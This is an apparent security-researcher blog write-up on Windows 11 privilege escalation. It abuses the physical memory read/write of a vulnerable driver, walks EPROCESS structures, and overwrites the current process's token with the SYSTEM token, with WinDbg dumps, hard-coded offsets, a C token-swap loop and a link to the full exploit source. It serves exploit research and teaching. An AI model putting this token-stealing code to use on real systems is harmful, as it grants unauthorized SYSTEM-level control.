# Token Stealing via Physical Memory

# Outline

I saw this really cool blog post a while ago about abusing a physical memory read / write by converting the address to a virtual one and thought it would be cool to "borrow" and improve on a bit. I highly recommend you read the original blog post: https://xacone.github.io/eneio-driver.html before reading my ramblings. Instead of rehashing everything covered in the original blog I'm going to talk about how I approached weaponising the driver and slightly touch on how token stealing works.

# High Level Recap

(In case you didn't read the blog post ...) On windows 11 there is a function called nt!HalpLMStub which is 0x30 bytes before the cr3 value and is always at a physical address between 0x10000 and 0x20000. When we get the cr3 value we can easily convert virtual address to physical. (Also recommend reading https://connormcgarr.github.io/paging/ If you don't have a solid understanding of windows paging.) From here they went on to leak out the KTHREAD and the values from the kernel's big pool. Here's where i decided to take a different path.

# Token Stealing

While stealing the system token was my logical next thought I decided to leak out the system EProcess token using NtQuerySystemInformation and walking the ActiveProcessLinks to find the token of the current process. To do this we need 3 things from a EProcess's structure, its PID, ActiveProcessLinks. First we can dump out the system token and a normal process's token in windbg and see the differences.

0: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS ffff980ca768c040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ae000  ObjectTable: ffffa9036b26aec0  HandleCount: 2675.
    Image: System
...
PROCESS ffff980cb2477080
    SessionId: none  Cid: 1904    Peb: e114fc6000  ParentCid: 12cc
    DirBase: 49e1e000  ObjectTable: ffffa9037048c800  HandleCount: 1179.
    Image: Notepad.exe

# Dumping each process's token:
# systems
0: kd> dt _EPROCESS ffff980ca768c040 Token
nt!_EPROCESS
   +0x248 Token : _EX_FAST_REF
0: kd> dx -id 0,0,ffff980ca768c040 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffff980ca768c288))
(*((ntkrnlmp!_EX_FAST_REF *)0xffff980ca768c288))                 [Type: _EX_FAST_REF]
    [+0x000] Object           : 0xffffa9036b20d04f [Type: void *]
    [+0x000 ( 3: 0)] RefCnt           : 0xf [Type: unsigned __int64]
    [+0x000] Value            : 0xffffa9036b20d04f [Type: unsigned __int64]

# notepad
0: kd> dt _EPROCESS ffff980cb2477080 Token
nt!_EPROCESS
   +0x248 Token : _EX_FAST_REF
0: kd> dx -id 0,0,ffff980ca768c040 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xffff980cb24772c8))
(*((ntkrnlmp!_EX_FAST_REF *)0xffff980cb24772c8))                 [Type: _EX_FAST_REF]
    [+0x000] Object           : 0xffffa9037abbd0aa [Type: void *]
    [+0x000 ( 3: 0)] RefCnt           : 0xa [Type: unsigned __int64]
    [+0x000] Value            : 0xffffa9037abbd0aa [Type: unsigned __int64]

As we can see the token structure has the bottom 3 bits set as a reference counter, so to use the value we will have to mask them off. Implementing this we can walk forward one EPROCESS then check the PID.

Finding the offsets.

0: kd> dt _EProcess  Token UniqueProcessId ActiveProcessLinks

nt!_EPROCESS
   +0x1d0 UniqueProcessId    : Ptr64 Void
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
   +0x248 Token              : _EX_FAST_REF

Hard coding the offsets.

while (TRUE) {
	QWORD Pid_location = current_eproc + (QWORD)0x1d0;
	offset = VirtualToPhysical(cr3, Pid_location, data);
	//printf("Physcial address for pid off : %llx\n", offset);


	current_pid = 0;
	for (size_t i = 0; i < sizeof(DWORD); ++i) {
		current_pid |= (DWORD)(data[offset + i]) << (i * 8);
	}

	//printf("Current PID: %llx\n", current_pid);

	if (current_pid == program_pid) {
		offset = VirtualToPhysical(cr3, current_eproc + 0x248, data);
		// write system token to this location
		printf("[+] Found Process token at: %llx\n", offset);
		printf("\t[i] Swapping with system token...\n");
		for (int i = 0; i < sizeof(QWORD); ++i) {
			data[offset + i] = (BYTE)((sys_token >> (i * 8)) & 0xFF);
		}
		break;
	}
}

I thought I would also check if the host is windows 11 24H2 or greater and check if we are running in high integrity before calling the driver and trying to get a KASLR leak.

Full code can be found here: https://github.com/ElJayRight/Driver_Exploits/blob/main/eneio64/main.c

# Closing thoughts

So yeah super quick writeup, I didnt really want to rehash someone else's writeup and thought it would be cool to poc a physical memory abuse driver. I'm planning on using this driver in a bigger project soonish.

I thought about adding a ring buffer so I didnt have to map all the memory in one go, however I was too lazy to want to reimplement the virtualtophysical function so decided against it. Maybe in the future.